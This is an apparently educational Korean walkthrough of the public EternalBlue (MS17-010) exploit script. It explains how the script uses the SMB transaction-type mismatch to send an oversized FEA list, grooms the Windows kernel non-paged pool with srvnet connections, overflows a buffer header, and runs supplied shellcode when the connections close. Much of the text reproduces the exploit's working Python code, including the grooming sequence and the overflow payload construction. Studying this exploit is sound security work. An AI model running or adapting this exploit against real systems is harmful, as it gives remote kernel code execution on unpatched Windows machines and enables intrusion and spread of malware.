Skip to content

Latest commit

 

History

History
215 lines (139 loc) · 8.64 KB

eternalblue_exploit_analysis.md

File metadata and controls

215 lines (139 loc) · 8.64 KB

original source - https://github.com/worawit/MS17-010/blob/master/eternalblue_exploit7.py


0. 공격 준비

#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket

if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')

유저로부터 commandline argument로 ip, shellcode_file, numGroomConn 을 입력받는다.

ip는 공격 대상의 ip, shellcode_file은 실행시키고자 하는 쉘코드 파일의 주소, numGroomConn은 kernel grooming에 사용되는 파라미터다.

세팅 후, exploit() 함수를 통해 실제 공격이 시작된다.

1. exploit()

본 익스플로잇에서는 SMB 프로토콜 통신을 위해 오픈 소스 라이브러리인 impacket을 사용한다.

conn = smb.SMB(target, target)
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)

if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
  print('This exploit does not support this target')
  sys.exit()

먼저 원격 시스템과 커넥션을 구축(핸드쉐이크)하고, 해당 시스템이 본 익스플로잇에 맞는 OS를 사용하고 있는 지 확인한다.

해당하는 OS (windows 7 or windows server 2008)이 아닐 경우 종료한다.

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

그후 원격 시스템의 IPC$ 공유폴더에 접근하고

    progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)

최초의 NT Trans 요청을 보낸다.

이 때 파라미터 중 feaList는 아래와 같다.

feaList = pack('<I', 0x10000)  # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]

# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
#   - x64: below fea will be copy to offset 0x11000 of overflow buffer
#   - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name

# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
  • header 부분 : 0x10000, 초기에 지정된 크기 (이후 업데이트 되며, 취약점을 발생시키는 부분)
  • body 부분 : ntfea[NTFEA_SIZE], 할당되는 pool의 크기에 따라 overflow를 발생시키기 위하여 크기가 유동적으로 조절됨
  • overflow 부분 : pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer, 실제로 overflow되어 들어가는 부분
  • stop 부분 : pack('<BBH', 0x12, 0x34, 0x5678), 추가로 복사되는 걸 막기위해 삽입되는 invalid flag

2. send_big_trans2()

NT Trans 요청을 보낼 때 취약점을 한 가지 이용한다.

SMB transaction을 보낼 때는 올바른 SMB command를 보내주어야 한다.

한편, transaction message가 지정된 MaxBufferSize보다 클 경우, SECONDARY command를 다시 보내고 이를 통해 (추가적인?) message를 전송할 수 있다. 이 때 서버는 마지막으로 도착한 command를 사용하여 transaction을 처리한다.

그런데, 이 때 SMB command와 SECONDARY command가 매칭되지 않는 경우에도 서버가 오류를 발생시키지 않는 취약점이 존재한다.

가령, 다음의 경우,

  • SMB_COM_NT_TRANSACT command로 transaction 시작
  • SMB_COM_NT_TRANSACT_SECONDARYSMB_COM_TRANSACTION2_SECONDARY command로 추가 전송
  • SMB_COM_TRANSACTION2_SECONDARY로 마지막 전송

오류가 발생하지 않으며, 서버는 마지막으로 전송된 SMB_COM_TRANSACTION2_SECONDARY로 transaction을 처리한다.

문제는, SMB_COM_TRANSACTION2의 TotalDataCount Field는 USHORT로 최대 0xffff 크기의 데이터를 전송가능한데, SMB_COM_NT_TRANSACT의 TotalDataCount는 ULONG으로 그보다 더 큰 데이터도 전송가능하다.

이러한 취약점을 이용하여 본 함수에서는 큰 데이터를 전송한다.

pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

먼저 전송할 패킷 오브젝트를 생성하고,

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)

패킷의 command를 지정한다. 이 때, 큰 데이터를 전송하기 위하여 SMB_COM_NT_TRANSACT로 지정한다.

그후 필요한 파라미터들을 적절히 추가한 뒤,

pkt.addCommand(transCommand)

conn.sendSMB(pkt)
conn.recvSMB() # must be success

패킷을 전송한다.

# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
  # limit data to 4096 bytes per SMB message because this size can be used for all Windows version
  sendSize = min(4096, len(data) - i)
  if len(data) - i <= 4096:
    if not sendLastChunk:
      break
  send_trans2_second(conn, tid, data[i:i+sendSize], i)
  i += sendSize

if sendLastChunk:
  conn.recvSMB()
return i

다음으로, send_trans2_second()함수를 통해 SECONDARY command를 사용한 패킷 전송을 시작한다.

3. send_trans2_second()

위 함수에서는 send_big_trans2()와 유사하게 패킷을 구성하여 전송하며,

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)

차이는 SMB command로 SMB_COM_TRANSACTION2_SECONDARY를 사용한다는 점이다.

4. Back To exploit()

# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
  sk = createConnectionWithBigSMBFirst80(target)
  srvnetConn.append(sk)

# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()

# hope one of srvnetConn is next to holeConn
for i in range(5):
  sk = createConnectionWithBigSMBFirst80(target)
  srvnetConn.append(sk)

# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()

다시 exploit() 함수로 돌아와서, overflow 시킬 수 있는 hole을 만드는 작업을 한다.

위의 코드에서, holeConn은 할당된 후 free되어 overflow 시킬 수 있는 빈 공간이 되고, 그 주변을 srvnet.sys buffer로 채운다.

이때 allocConn은 kernel gromming을 돕는 역할을 하는 듯 한데 추가로 알아볼 필요가 있음.

# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
  print('good response status: INVALID_PARAMETER')
else:
  print('bad response status: 0x{:08x}'.format(retStatus))

위의 send_big_trans2()를 살펴보면, 전송할 데이터의 마지막 남은 부분을 전송하지 않도록 되어있는데, 위의 코드에서 그 마지막 부분을 전송한다.

이를 수행함으로써, 앞서 빈 hole을 만든 buffer에 전송된 데이터가 삽입되는 것으로 판단된다.

물음 : 그냥 처음에 hole을 만들어놓고 다 전송하면 안되는 건가?

# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
  sk.send(fake_recv_struct + shellcode)

할당된 모든 srvnet.sys buffer에 페이로드 패킷을 전송한다. 그 중 overflow가 일어나 header가 변형된 것이 있다면 페이로드가 HAL heap 영역에 입력된다.

# execute shellcode by closing srvnet connection
for sk in srvnetConn:
  sk.close()

커넥션을 닫을 때 SrvNetCommonReceiveHandler()로 인해 shellcode가 실행된다.